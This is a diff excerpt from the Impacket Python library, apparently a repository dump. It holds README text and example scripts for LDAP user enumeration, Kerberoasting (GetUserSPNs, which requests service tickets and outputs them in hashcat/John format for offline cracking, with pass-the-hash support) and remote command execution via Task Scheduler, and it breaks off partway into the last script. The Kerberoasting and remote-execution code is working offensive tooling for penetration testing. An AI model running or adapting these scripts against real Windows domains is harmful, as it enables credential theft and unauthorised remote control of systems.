* NMB and SMB1/2/3 (high-level implementations).
|
||||
* DCE/RPC versions 4 and 5, over different transports: UDP (version 4
|
||||
exclusively), TCP, SMB/TCP, SMB/NetBIOS and HTTP.
|
||||
* Portions of the following DCE/RPC interfaces: Conv, DCOM (WMI, OAUTH),
|
||||
EPM, SAMR, SCMR, RRP, SRVSC, LSAD, LSAT, WKST, NRPC.
|
||||
|
||||
|
||||
Getting Impacket
|
||||
================
|
||||
|
||||
* [Current and past releases](https://github.com/CoreSecurity/impacket/releases)
|
||||
* [Trunk](https://github.com/CoreSecurity/impacket)
|
||||
|
||||
Setup
|
||||
=====
|
||||
|
||||
Quick start
|
||||
-----------
|
||||
|
||||
Grab the latest stable release, unpack it and run `python setup.py
|
||||
install` from the directory where you placed it. Isn't that easy?
|
||||
|
||||
|
||||
Requirements
|
||||
============
|
||||
|
||||
* A Python interpreter. Versions 2.0.1 and newer are known to work.
|
||||
1. If you want to run the examples and you have Python < 2.7, you
|
||||
will need to install the `argparse` package for them to work.
|
||||
2. For Kerberos support you will need `pyasn1` package
|
||||
3. For cryptographic operations you will need `pycrypto` package
|
||||
4. For some examples you will need `pyOpenSSL` (rdp_check.py) and ldap3 (ntlmrelayx.py)
|
||||
5. For ntlmrelayx.py you will also need `ldapdomaindump`
|
||||
6. If you're under Windows, you will need `pyReadline`
|
||||
* A recent release of Impacket.
|
||||
|
||||
Installing
|
||||
----------
|
||||
|
||||
In order to install the source execute the following command from the
|
||||
directory where the Impacket's distribution has been unpacked: `python
|
||||
setup.py install`. This will install the classes into the default
|
||||
Python modules path; note that you might need special permissions to
|
||||
write there. For more information on what commands and options are
|
||||
available from setup.py, run `python setup.py --help-commands`.
|
||||
|
||||
|
||||
Licensing
|
||||
=========
|
||||
|
||||
This software is provided under under a slightly modified version of
|
||||
the Apache Software License. See the accompanying LICENSE file for
|
||||
more information.
|
||||
|
||||
SMBv1 and NetBIOS support based on Pysmb by Michael Teo.
|
||||
|
||||
|
||||
Contact Us
|
||||
==========
|
||||
|
||||
Whether you want to report a bug, send a patch or give some
|
||||
suggestions on this package, drop us a few lines at
|
||||
oss@coresecurity.com.
|
||||
@@ -0,0 +1,263 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# This script will gather data about the domain's users and their corresponding email addresses. It will also
|
||||
# include some extra information about last logon and last password set attributes.
|
||||
# You can enable or disable the the attributes shown in the final table by changing the values in line 184 and
|
||||
# headers in line 190.
|
||||
# If no entries are returned that means users don't have email addresses specified.
|
||||
#
|
||||
# Reference for:
|
||||
# LDAP
|
||||
#
|
||||
|
||||
|
||||
import argparse
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
from datetime import datetime
|
||||
from binascii import hexlify, unhexlify
|
||||
|
||||
from pyasn1.codec.der import decoder
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT
|
||||
from impacket.examples import logger
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import TGS_REP
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
|
||||
class GetADUsers:
|
||||
@staticmethod
|
||||
def printTable(items, header):
|
||||
colLen = []
|
||||
for i, col in enumerate(header):
|
||||
rowMaxLen = max([len(row[i]) for row in items])
|
||||
colLen.append(max(rowMaxLen, len(col)))
|
||||
|
||||
outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
|
||||
|
||||
# Print header
|
||||
print outputFormat.format(*header)
|
||||
print ' '.join(['-' * itemLen for itemLen in colLen])
|
||||
|
||||
# And now the rows
|
||||
for row in items:
|
||||
print outputFormat.format(*row)
|
||||
|
||||
def __init__(self, username, password, domain, cmdLineOptions):
|
||||
self.options = cmdLineOptions
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = cmdLineOptions.aesKey
|
||||
self.__doKerberos = cmdLineOptions.k
|
||||
self.__target = None
|
||||
self.__kdcHost = cmdLineOptions.dc_ip
|
||||
self.__requestUser = cmdLineOptions.user
|
||||
if cmdLineOptions.hashes is not None:
|
||||
self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
|
||||
|
||||
# Create the baseDN
|
||||
domainParts = self.__domain.split('.')
|
||||
self.baseDN = ''
|
||||
for i in domainParts:
|
||||
self.baseDN += 'dc=%s,' % i
|
||||
# Remove last ','
|
||||
self.baseDN = self.baseDN[:-1]
|
||||
|
||||
def getMachineName(self):
|
||||
if self.__kdcHost is not None:
|
||||
s = SMBConnection(self.__kdcHost, self.__kdcHost)
|
||||
else:
|
||||
s = SMBConnection(self.__domain, self.__domain)
|
||||
try:
|
||||
s.login('', '')
|
||||
except Exception:
|
||||
logging.debug('Error while anonymous logging into %s' % self.__domain)
|
||||
|
||||
s.logoff()
|
||||
return s.getServerName()
|
||||
|
||||
@staticmethod
|
||||
def getUnixTime(t):
|
||||
t -= 116444736000000000
|
||||
t /= 10000000
|
||||
return t
|
||||
|
||||
def run(self):
|
||||
if self.__doKerberos:
|
||||
self.__target = self.getMachineName()
|
||||
else:
|
||||
if self.__kdcHost is not None:
|
||||
self.__target = self.__kdcHost
|
||||
else:
|
||||
self.__target = self.__domain
|
||||
|
||||
# Connect to LDAP
|
||||
try:
|
||||
ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
|
||||
if self.__doKerberos is not True:
|
||||
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
else:
|
||||
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
||||
self.__aesKey, kdcHost=self.__kdcHost)
|
||||
except ldap.LDAPSessionError, e:
|
||||
if str(e).find('strongerAuthRequired') >= 0:
|
||||
# We need to try SSL
|
||||
ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost)
|
||||
if self.__doKerberos is not True:
|
||||
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
else:
|
||||
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
||||
self.__aesKey, kdcHost=self.__kdcHost)
|
||||
else:
|
||||
raise
|
||||
|
||||
# Building the search filter
|
||||
searchFilter = "(&(sAMAccountName=*)(mail=*)"
|
||||
|
||||
if self.__requestUser is not None:
|
||||
searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
|
||||
else:
|
||||
searchFilter += ')'
|
||||
|
||||
try:
|
||||
logging.info('Querying %s for information about domain. Be patient...' % self.__target)
|
||||
sc = ldap.SimplePagedResultsControl()
|
||||
resp = ldapConnection.search(searchFilter=searchFilter,
|
||||
attributes=['sAMAccountName', 'pwdLastSet', 'mail', 'lastLogon'],
|
||||
sizeLimit=0, searchControls = [sc])
|
||||
except ldap.LDAPSearchError, e:
|
||||
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
||||
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
raise
|
||||
|
||||
answers = []
|
||||
logging.debug('Total of records returned %d' % len(resp))
|
||||
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ''
|
||||
pwdLastSet = ''
|
||||
mail = ''
|
||||
lastLogon = 'N/A'
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if attribute['type'] == 'sAMAccountName':
|
||||
if str(attribute['vals'][0]).endswith('$') is False:
|
||||
# User Account
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
elif attribute['type'] == 'pwdLastSet':
|
||||
if str(attribute['vals'][0]) == '0':
|
||||
pwdLastSet = '<never>'
|
||||
else:
|
||||
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
||||
elif attribute['type'] == 'lastLogon':
|
||||
if str(attribute['vals'][0]) == '0':
|
||||
lastLogon = '<never>'
|
||||
else:
|
||||
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
||||
elif attribute['type'] == 'mail':
|
||||
mail = str(attribute['vals'][0])
|
||||
|
||||
answers.append([sAMAccountName, mail, pwdLastSet, lastLogon])
|
||||
except Exception, e:
|
||||
logging.error('Skipping item, cannot process due to error %s' % str(e))
|
||||
pass
|
||||
|
||||
if len(answers)>0:
|
||||
self.printTable(answers, header=[ "Name", "Email", "PasswordLastSet", "LastLogon"])
|
||||
print '\n\n'
|
||||
|
||||
else:
|
||||
print "No entries found!"
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users data")
|
||||
|
||||
parser.add_argument('target', action='store', help='domain/username[:password]')
|
||||
parser.add_argument('-user', action='store', metavar='username', help='Requests data for specific user ')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
||||
'cannot be found, it will use the ones specified in the command '
|
||||
'line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) '
|
||||
'specified in the target parameter')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
# This is because I'm lazy with regex
|
||||
# ToDo: We need to change the regex to fullfil domain/username[:password]
|
||||
targetParam = options.target+'@'
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
if domain is '':
|
||||
logging.critical('Domain should be specified!')
|
||||
sys.exit(1)
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
try:
|
||||
executer = GetADUsers(username, password, domain, options)
|
||||
executer.run()
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
print str(e)
|
||||
@@ -0,0 +1,396 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# This module will try to find Service Principal Names that are associated with normal user account.
|
||||
# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request
|
||||
# will encrypt the ticket with the account the SPN is running under, this could be used for an offline
|
||||
# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
|
||||
# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at
|
||||
# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
|
||||
#
|
||||
# Original idea of implementing this in Python belongs to @skelsec and his
|
||||
# https://github.com/skelsec/PyKerberoast project
|
||||
#
|
||||
# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key.
|
||||
# Also, disabled accounts won't be shown.
|
||||
#
|
||||
# ToDo:
|
||||
# [X] Add the capability for requesting TGS and output them in JtR/hashcat format
|
||||
# [ ] Improve the search filter, we have to specify we don't want machine accounts in the answer
|
||||
# (play with userAccountControl)
|
||||
#
|
||||
|
||||
|
||||
import argparse
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
from datetime import datetime
|
||||
from binascii import hexlify, unhexlify
|
||||
|
||||
from pyasn1.codec.der import decoder
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT
|
||||
from impacket.examples import logger
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import TGS_REP
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
|
||||
class GetUserSPNs:
|
||||
@staticmethod
|
||||
def printTable(items, header):
|
||||
colLen = []
|
||||
for i, col in enumerate(header):
|
||||
rowMaxLen = max([len(row[i]) for row in items])
|
||||
colLen.append(max(rowMaxLen, len(col)))
|
||||
|
||||
outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
|
||||
|
||||
# Print header
|
||||
print outputFormat.format(*header)
|
||||
print ' '.join(['-' * itemLen for itemLen in colLen])
|
||||
|
||||
# And now the rows
|
||||
for row in items:
|
||||
print outputFormat.format(*row)
|
||||
|
||||
def __init__(self, username, password, domain, cmdLineOptions):
|
||||
self.options = cmdLineOptions
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__outputFileName = options.outputfile
|
||||
self.__aesKey = cmdLineOptions.aesKey
|
||||
self.__doKerberos = cmdLineOptions.k
|
||||
self.__target = None
|
||||
self.__requestTGS = options.request
|
||||
self.__kdcHost = cmdLineOptions.dc_ip
|
||||
self.__saveTGS = cmdLineOptions.save
|
||||
self.__requestUser = cmdLineOptions.request_user
|
||||
if cmdLineOptions.hashes is not None:
|
||||
self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
|
||||
|
||||
# Create the baseDN
|
||||
domainParts = self.__domain.split('.')
|
||||
self.baseDN = ''
|
||||
for i in domainParts:
|
||||
self.baseDN += 'dc=%s,' % i
|
||||
# Remove last ','
|
||||
self.baseDN = self.baseDN[:-1]
|
||||
|
||||
def getMachineName(self):
|
||||
if self.__kdcHost is not None:
|
||||
s = SMBConnection(self.__kdcHost, self.__kdcHost)
|
||||
else:
|
||||
s = SMBConnection(self.__domain, self.__domain)
|
||||
try:
|
||||
s.login('', '')
|
||||
except Exception:
|
||||
logging.debug('Error while anonymous logging into %s' % self.__domain)
|
||||
|
||||
s.logoff()
|
||||
return s.getServerName()
|
||||
|
||||
@staticmethod
|
||||
def getUnixTime(t):
|
||||
t -= 116444736000000000
|
||||
t /= 10000000
|
||||
return t
|
||||
|
||||
def getTGT(self):
|
||||
try:
|
||||
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
|
||||
except:
|
||||
# No cache present
|
||||
pass
|
||||
else:
|
||||
# retrieve user and domain information from CCache file if needed
|
||||
if self.__domain == '':
|
||||
domain = ccache.principal.realm['data']
|
||||
else:
|
||||
domain = self.__domain
|
||||
logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
|
||||
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
|
||||
creds = ccache.getCredential(principal)
|
||||
if creds is not None:
|
||||
TGT = creds.toTGT()
|
||||
logging.debug('Using TGT from cache')
|
||||
return TGT
|
||||
else:
|
||||
logging.debug("No valid credentials found in cache. ")
|
||||
|
||||
# No TGT in cache, request it
|
||||
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
|
||||
unhexlify(self.__lmhash),
|
||||
unhexlify(self.__nthash), self.__aesKey,
|
||||
kdcHost=self.__kdcHost)
|
||||
TGT = {}
|
||||
TGT['KDC_REP'] = tgt
|
||||
TGT['cipher'] = cipher
|
||||
TGT['sessionKey'] = sessionKey
|
||||
|
||||
return TGT
|
||||
|
||||
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
|
||||
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
|
||||
|
||||
# According to RFC4757 the cipher part is like:
|
||||
# struct EDATA {
|
||||
# struct HEADER {
|
||||
# OCTET Checksum[16];
|
||||
# OCTET Confounder[8];
|
||||
# } Header;
|
||||
# OCTET Data[0];
|
||||
# } edata;
|
||||
#
|
||||
# In short, we're interested in splitting the checksum and the rest of the encrypted data
|
||||
#
|
||||
if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
|
||||
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
|
||||
constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
|
||||
hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
|
||||
hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
|
||||
if fd is None:
|
||||
print entry
|
||||
else:
|
||||
fd.write(entry+'\n')
|
||||
else:
|
||||
logging.error('Skipping %s/%s due to incompatible e-type %d' % (
|
||||
decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
|
||||
decodedTGS['ticket']['enc-part']['etype']))
|
||||
|
||||
if self.__saveTGS is True:
|
||||
# Save the ticket
|
||||
logging.debug('About to save TGS for %s' % username)
|
||||
ccache = CCache()
|
||||
try:
|
||||
ccache.fromTGS(tgs, oldSessionKey, sessionKey )
|
||||
ccache.saveFile('%s.ccache' % username)
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
|
||||
def run(self):
|
||||
if self.__doKerberos:
|
||||
self.__target = self.getMachineName()
|
||||
else:
|
||||
if self.__kdcHost is not None:
|
||||
self.__target = self.__kdcHost
|
||||
else:
|
||||
self.__target = self.__domain
|
||||
|
||||
# Connect to LDAP
|
||||
try:
|
||||
ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
|
||||
if self.__doKerberos is not True:
|
||||
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
else:
|
||||
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
||||
self.__aesKey, kdcHost=self.__kdcHost)
|
||||
except ldap.LDAPSessionError, e:
|
||||
if str(e).find('strongerAuthRequired') >= 0:
|
||||
# We need to try SSL
|
||||
ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost)
|
||||
if self.__doKerberos is not True:
|
||||
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
else:
|
||||
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
||||
self.__aesKey, kdcHost=self.__kdcHost)
|
||||
else:
|
||||
raise
|
||||
|
||||
# Building the search filter
|
||||
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
|
||||
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"
|
||||
|
||||
if self.__requestUser is not None:
|
||||
searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
|
||||
else:
|
||||
searchFilter += ')'
|
||||
|
||||
try:
|
||||
resp = ldapConnection.search(searchFilter=searchFilter,
|
||||
attributes=['servicePrincipalName', 'sAMAccountName',
|
||||
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
|
||||
sizeLimit=999)
|
||||
except ldap.LDAPSearchError, e:
|
||||
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
||||
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
raise
|
||||
|
||||
answers = []
|
||||
logging.debug('Total of records returned %d' % len(resp))
|
||||
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
|
||||
continue
|
||||
mustCommit = False
|
||||
sAMAccountName = ''
|
||||
memberOf = ''
|
||||
SPNs = []
|
||||
pwdLastSet = ''
|
||||
userAccountControl = 0
|
||||
lastLogon = 'N/A'
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if attribute['type'] == 'sAMAccountName':
|
||||
if str(attribute['vals'][0]).endswith('$') is False:
|
||||
# User Account
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
mustCommit = True
|
||||
elif attribute['type'] == 'userAccountControl':
|
||||
userAccountControl = str(attribute['vals'][0])
|
||||
elif attribute['type'] == 'memberOf':
|
||||
memberOf = str(attribute['vals'][0])
|
||||
elif attribute['type'] == 'pwdLastSet':
|
||||
if str(attribute['vals'][0]) == '0':
|
||||
pwdLastSet = '<never>'
|
||||
else:
|
||||
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
||||
elif attribute['type'] == 'lastLogon':
|
||||
if str(attribute['vals'][0]) == '0':
|
||||
lastLogon = '<never>'
|
||||
else:
|
||||
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
||||
elif attribute['type'] == 'servicePrincipalName':
|
||||
for spn in attribute['vals']:
|
||||
SPNs.append(str(spn))
|
||||
|
||||
if mustCommit is True:
|
||||
if int(userAccountControl) & UF_ACCOUNTDISABLE:
|
||||
logging.debug('Bypassing disabled account %s ' % sAMAccountName)
|
||||
else:
|
||||
for spn in SPNs:
|
||||
answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon])
|
||||
except Exception, e:
|
||||
logging.error('Skipping item, cannot process due to error %s' % str(e))
|
||||
pass
|
||||
|
||||
if len(answers)>0:
|
||||
self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])
|
||||
print '\n\n'
|
||||
|
||||
if self.__requestTGS is True or self.__requestUser is not None:
|
||||
# Let's get unique user names and a SPN to request a TGS for
|
||||
users = dict( (vals[1], vals[0]) for vals in answers)
|
||||
|
||||
# Get a TGT for the current user
|
||||
TGT = self.getTGT()
|
||||
if self.__outputFileName is not None:
|
||||
fd = open(self.__outputFileName, 'w+')
|
||||
else:
|
||||
fd = None
|
||||
for user, SPN in users.iteritems():
|
||||
try:
|
||||
serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
|
||||
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
|
||||
self.__kdcHost,
|
||||
TGT['KDC_REP'], TGT['cipher'],
|
||||
TGT['sessionKey'])
|
||||
self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd)
|
||||
except Exception , e:
|
||||
logging.error(str(e))
|
||||
if fd is not None:
|
||||
fd.close()
|
||||
|
||||
else:
|
||||
print "No entries found!"
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running "
|
||||
"under a user account")
|
||||
|
||||
parser.add_argument('target', action='store', help='domain/username[:password]')
|
||||
parser.add_argument('-request', action='store_true', default='False', help='Requests TGS for users and output them '
|
||||
'in JtR/hashcat format (default False)')
|
||||
parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated '
|
||||
'to the user specified (just the username, no domain needed)')
|
||||
parser.add_argument('-save', action='store_true', default='False', help='Saves TGS requested to disk. Format is '
|
||||
'<username>.ccache. Auto selects -request')
|
||||
parser.add_argument('-outputfile', action='store',
|
||||
help='Output filename to write ciphers in JtR/hashcat format')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
||||
'cannot be found, it will use the ones specified in the command '
|
||||
'line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) '
|
||||
'specified in the target parameter')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
# This is because I'm lazy with regex
|
||||
# ToDo: We need to change the regex to fullfil domain/username[:password]
|
||||
targetParam = options.target+'@'
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
if domain is '':
|
||||
logging.critical('Domain should be specified!')
|
||||
sys.exit(1)
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
if options.save is True or options.outputfile is not None:
|
||||
options.request = True
|
||||
|
||||
try:
|
||||
executer = GetUserSPNs(username, password, domain, options)
|
||||
executer.run()
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
print str(e)
|
||||
@@ -0,0 +1,233 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# ATSVC example for some functions implemented, creates, enums, runs, delete jobs
|
||||
# This example executes a command on the target machine through the Task Scheduler
|
||||
# service. Returns the output of such command
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCE/RPC for TSCH
|
||||
|
||||
import string
|
||||
import sys
|
||||
import argparse
|
||||
import time
|
||||
import random
|
||||
import logging
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None,
|
||||
command=None):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.__command = command
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def play(self, addr):
|
||||
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
||||
self.__aesKey)
|
||||
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
try:
|
||||
self.doStuff(rpctransport)
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#traceback.print_exc()
|
||||
logging.error(e)
|
||||
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:
|
||||
